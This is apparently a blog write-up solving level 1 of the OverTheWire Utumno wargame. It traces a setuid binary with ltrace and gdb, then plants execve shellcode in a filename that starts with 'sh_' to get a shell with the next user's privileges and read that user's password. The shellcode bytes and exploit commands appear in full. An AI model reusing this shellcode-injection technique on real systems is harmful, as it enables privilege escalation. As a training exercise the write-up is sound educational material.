utumno1@utumno:~$ ltrace /utumno/utumno1 __libc_start_main(0x80484a5, 1, 0xffffd794, 0x8048530 <unfinished ...> exit(1 <no return ...> +++ exited (status 1) +++
It does nothgin interesting.
So let's try running it with a parameter
utumno1@utumno:~$ ltrace /utumno/utumno1 a __libc_start_main(0x80484a5, 2, 0xffffd794, 0x8048530 <unfinished ...> opendir("a") = 0 exit(1 <no return ...> +++ exited (status 1) +++
The executable opens the directory passed as parameter.
In this case there is folder with that named and exits.
So let's create a folder named /tmp/utum1 and try passing it as parameter:
utumno1@utumno:~$ mkdir /tmp/utum1 utumno1@utumno:~$ ltrace /utumno/utumno1 /tmp/utum1 __libc_start_main(0x80484a5, 2, 0xffffd774, 0x8048530 <unfinished ...> opendir("/tmp/utum1") = 0x804a008 readdir(0x804a008) = 0x804a024 strncmp("sh_", ".", 3) = 69 readdir(0x804a008) = 0x804a034 strncmp("sh_", "..", 3) = 69 readdir(0x804a008) = 0 +++ exited (status 0) +++
It scans the folder for elements and compare to the string "sh_".
In the folder there are only "." and ".." and the executable does nothing.
Let's create a file "sh_" and look if it does something else
utumno1@utumno:~$ touch /tmp/utum1/sh_ utumno1@utumno:~$ ltrace /utumno/utumno1 /tmp/utum1 __libc_start_main(0x80484a5, 2, 0xffffd774, 0x8048530 <unfinished ...> opendir("/tmp/utum1") = 0x804a008 readdir(0x804a008) = 0x804a024 strncmp("sh_", ".", 3) = 69 readdir(0x804a008) = 0x804a034 strncmp("sh_", "..", 3) = 69 readdir(0x804a008) = 0x804a044 strncmp("sh_", "sh_", 3) = 0 --- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++
That is more interesting: something strange is happening.
To understand better let's disassamble the executable.
I removed some parts and show only the interesting part.
utumno1@utumno:~$ gdb /utumno/utumno1
... 0x080484ed <+72>: call 0x8048360 <strncmp@plt> 0x080484f2 <+77>: add $0xc,%esp 0x080484f5 <+80>: test %eax,%eax 0x080484f7 <+82>: jne 0x804850b <main+102> 0x080484f9 <+84>: mov -0x8(%ebp),%eax 0x080484fc <+87>: add $0xb,%eax 0x080484ff <+90>: add $0x3,%eax 0x08048502 <+93>: push %eax 0x08048503 <+94>: call 0x804848b <run> 0x08048508 <+99>: add $0x4,%esp 0x0804850b <+102>: pushl -0x4(%ebp) 0x0804850e <+105>: call 0x8048350 <readdir@plt> 0x08048513 <+110>: add $0x4,%esp 0x08048516 <+113>: mov %eax,-0x8(%ebp) 0x08048519 <+116>: cmpl $0x0,-0x8(%ebp) ...
There is a loop between strncmp() and readdir().
But there is an interesting call to function run() defined in the executable.
(gdb) disas run Dump of assembler code for function run: 0x0804848b <+0>: push %ebp 0x0804848c <+1>: mov %esp,%ebp 0x0804848e <+3>: sub $0x4,%esp 0x08048491 <+6>: lea -0x4(%ebp),%eax 0x08048494 <+9>: add $0x8,%eax 0x08048497 <+12>: mov %eax,-0x4(%ebp) 0x0804849a <+15>: mov -0x4(%ebp),%eax 0x0804849d <+18>: mov 0x8(%ebp),%edx 0x080484a0 <+21>: mov %edx,(%eax) 0x080484a2 <+23>: nop 0x080484a3 <+24>: leave 0x080484a4 <+25>: ret End of assembler dump. (gdb)
It seems it swaps and moves thing in registers and memory areas...
To understand better let's put a break on the last istruction (return) of run() function.
Then start the executable
(gdb) break *0x080484a4 (gdb) set args /tmp/utum1 (gdb) r Starting program: /utumno/utumno1 /tmp/utum1 Breakpoint 1, 0x080484a4 in run (p=0x804a052) at utumno1.c:27 (gdb) info reg eip eip 0x80484a4 0x80484a4 <run+25> (gdb) stepi 0x0804a052 in ?? () (gdb) x/c 0x804a048 0x804a048: -1 '\377' (gdb) 0x804a049: -1 '\377' (gdb) 0x804a04a: -1 '\377' (gdb) 0x804a04b: 127 '\177' (gdb) 0x804a04c: 16 '\020' (gdb) 0x804a04d: 0 '\000' (gdb) 0x804a04e: 8 '\b' (gdb) 0x804a04f: 115 's' (gdb) 0x804a050: 104 'h' (gdb) 0x804a051: 95 '_'
If we use "stepi" (proceed to next istruction), the flow is redirected (register EIP) to address 0x804a052.
If we show the memory in that area, we see that the EIP will be positioned just after "sh_"
If we create a file whose name is "sh_" + shellcode, the executable flow of istructions will be moved to the shellcode.
We can try to create a file with the command:
touch $(python -c 'print
"sh_\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")
But it won't work because the standard shellcode contains slash characters.
We need to use a link to /bin/sh in the current folder and add the current folder to PATH
Then modfy the shellcode to run the link
utumno1@utumno:~$ cd /tmp/utum1
utumno1@utumno:/tmp/utum1$ ln -s /bin/sh sssh
utumno1@utumno:/tmp/utum1$ PATH=.:$PATH
utumno1@utumno:/tmp/utum1$ touch $(python -c 'print "sh_\x31\xc0\x50\x68sssh\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' ) utumno1@utumno:/tmp/utum1$ strace /utumno/utumno1 . ... getdents(3, /* 7 entries */, 32768) = 136 execve("sssh", ["sssh"], [/* 18 vars */]) = -1 EFAULT (Bad Address)
Ok it executes the file but it fails with "Bad Address"
We've seen this error before and the solution was to clean argv and env.
Let's remove existing file starting with "sh_" and retry with another shellcode
utumno1@utumno:/tmp/utum1$ rm sh_* utumno1@utumno:/tmp/utum1$ touch $(python -c 'print "sh_\x31\xc0\x50\x68sssh\x89\xe3\x50\x53\x89\xe1\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"' ) utumno1@utumno:/tmp/utum1$ /utumno/utumno1 . $ id uid=16001(utumno1) gid=16001(utumno1) euid=16002(utumno2) groups=16001(utumno1) $ cat /etc/utumno_pass/utumno2 c*******h
$
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.